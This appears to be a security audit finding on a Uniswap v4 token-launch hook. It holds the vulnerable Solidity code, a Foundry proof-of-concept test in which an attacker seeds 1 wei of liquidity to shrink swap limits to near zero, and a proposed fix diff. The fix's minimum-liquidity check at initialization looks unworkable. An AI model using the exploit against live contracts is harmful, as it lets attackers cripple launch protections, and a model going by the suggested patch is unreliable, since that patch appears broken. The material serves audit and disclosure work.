function _afterInitialize(...) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
}
function _beforeSwap(...) {
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
}
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
if (addressSwappedAmount[sender] + swapAmount > maxSwapAmount) {
applyPenalty = true;
}
}
function test_InitialLiquidityManipulation() public {
address attacker = makeAddr("attacker");
token.mint(attacker, 1000 ether);
vm.deal(attacker, 1000 ether);
vm.startPrank(attacker);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
token.approve(address(swapRouter), type(uint256).max);
vm.stopPrank();
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
TokenLaunchHook freshHook = new TokenLaunchHook{salt: salt}(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
PoolKey memory key = PoolKey({
currency0: ethCurrency, currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG, tickSpacing: 60, hooks: freshHook
});
manager.initialize(key, SQRT_PRICE_1_1_s);
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: 1 wei}(key,
ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: 1, salt: bytes32(0)}),
ZERO_BYTES
);
swapRouter.swap{value: 1 wei}(key,
SwapParams({zeroForOne: true, amountSpecified: -1, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
ZERO_BYTES
);
vm.stopPrank();
console.log("Initial liquidity locked at:", freshHook.initialLiquidity());
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: 10 ether}(key,
ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: 10 ether, salt: bytes32(0)}),
ZERO_BYTES
);
vm.stopPrank();
uint256 calculatedLimit = (freshHook.initialLiquidity() * phase1LimitBps) / 10000;
console.log("User limit:", calculatedLimit, "wei (effectively 0)");
assertTrue(calculatedLimit < 0.01 ether, "Limits unreasonably small");
}
+ uint256 public constant MIN_INITIAL_LIQUIDITY = 1e18;
function _afterInitialize(...) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ require(uint256(liquidity) >= MIN_INITIAL_LIQUIDITY, "Insufficient initial liquidity");
initialLiquidity = uint256(liquidity);
}
function _beforeSwap(...) {
- if (initialLiquidity == 0) {
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
- initialLiquidity = uint256(liquidity);
- }
+ // Remove exploitable fallback
}